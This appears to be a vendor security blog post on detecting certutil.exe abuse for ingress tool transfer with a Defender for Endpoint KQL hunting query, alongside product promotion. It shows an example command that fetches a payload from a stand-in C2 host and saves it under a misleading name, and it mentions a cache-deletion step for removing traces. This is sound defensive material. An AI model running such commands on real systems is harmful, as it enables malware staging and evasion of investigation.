Abusing Certutil.exe: Detect T1105 with Defender — Akuity SOC

Living off the Land Binaries (LOLBins) remain a primary vector for adversaries targeting enterprise environments. By exploiting legitimate, digitally signed executables already present on Windows systems, attackers systematically bypass perimeter defenses and basic application control rules. Within this catalog, certutil.exe—originally engineered for certificate authority management and certificate store maintenance—is heavily misused to execute MITRE ATT&CK technique T1105 (Ingress Tool Transfer).

Attack Anatomy: From Certificate Management to Staging Binaries

Historically, certutil.exe incorporates an internal HTTP caching engine accessed via parameters such as -urlcache and -split. While intended to fetch Certificate Revocation Lists (CRLs) or Intermediate Authority files (CRTs), threat actors manipulate these switches to retrieve remote payloads (Cobalt Strike beacons, obfuscated PowerShell scripts, or ransomware stages) directly to disk.

A typical malicious command line looks like:
certutil.exe -urlcache -split -f https://c2-infrastructure.evil/payload.bin C:\Users\Public\updater.exe
The -f flag forces a remote fetch, bypassing local cache validation. Because standard users have write access to directories like C:\Users\Public or C:\ProgramData, execution does not require local administrative privileges.

Telemetry & Native Blind Spots in Defender for Endpoint

Because certutil.exe is signed by Microsoft and resides in System32, it poses distinct challenges to legacy detection mechanisms:

• Trusted Binary Reputation: Antivirus engines focusing solely on the executable's signature dismiss the process creation event as benign.
• Renaming and Masquerading: Attackers often copy certutil.exe to a staging directory under a misleading name (e.g., svchost.exe), evading trivial process name filters.

In Defender for Endpoint, building high-fidelity detection requires analyzing DeviceProcessEvents using ProcessVersionInfoOriginalFileName to thwart binary masquerading, while inspecting command-line flags and parsing the destination URI away from genuine PKI endpoints.

Advanced Detection: Advanced Hunting (KQL) Query

The following query filters out standard PKI file extensions and legitimate root certificate providers, exposing unauthorized ingress file transfers in real time:

let PkiExtensions = dynamic([".crl", ".crt", ".cer"]);
let TrustedRoots = dynamic(["microsoft.com", "digicert.com", "sectigo.com", "letsencrypt.org"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where ProcessVersionInfoOriginalFileName =~ "certutil.exe" or FileName =~ "certutil.exe"
| where ProcessCommandLine has_any("-urlcache", "-split", "-f") and ProcessCommandLine has_any("http://", "https://")
| extend TargetUrl = extract(@"(?i)(https?://[^\s""']+)", 1, ProcessCommandLine)
| extend RemoteHost = tostring(parse_url(TargetUrl).Host)
| extend UrlExtension = strcat(".", tostring(split(parse_url(TargetUrl).Path, ".")[-1]))
| where isnotempty(TargetUrl)
| where not(UrlExtension in~ (PkiExtensions))
| where not(RemoteHost has_any(TrustedRoots) or ipv4_is_private(RemoteHost))
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine, TargetUrl, RemoteHost, UrlExtension

SOAR Remediation & Governance with Akuity SOC

When this ingress technique is identified, Akuity SOC accelerates incident triage and initiates automated containment:

• Native Triage Resolution: The Akuity SOC in-app AI assistant decodes obfuscated CLI parameters and qualifies remote URL reputation in under 2 seconds, eliminating data leakage to public web decoders.
• Surgical SOAR Response: Instant execution of blockIocOnTenant() to block the remote C2 domain and isolateDevice() to quarantine the host directly from the evidence ledger.
• Zero-Trust Governance: High-risk containment actions require mandatory MFA AAL2 elevation, and every action is recorded in an immutable audit trail aligned with NIS 2 and SOC 2 Type II criteria.

Technical Mini-FAQ

Can we simply prohibit certutil.exe using WDAC or AppLocker policies?
While feasible on restricted workstation tiers, universally blocking certutil.exe across enterprise fleets can break automated machine certificate renewal, AD CS administration scripts, and S/MIME revocation checks.

How do attackers eliminate artifacts after executing a certutil download?
Adversaries often execute certutil -urlcache * delete immediately following the download. This deletes the cached entry within WinINet records and temporary system directories, underscoring the critical need for central EDR event streaming.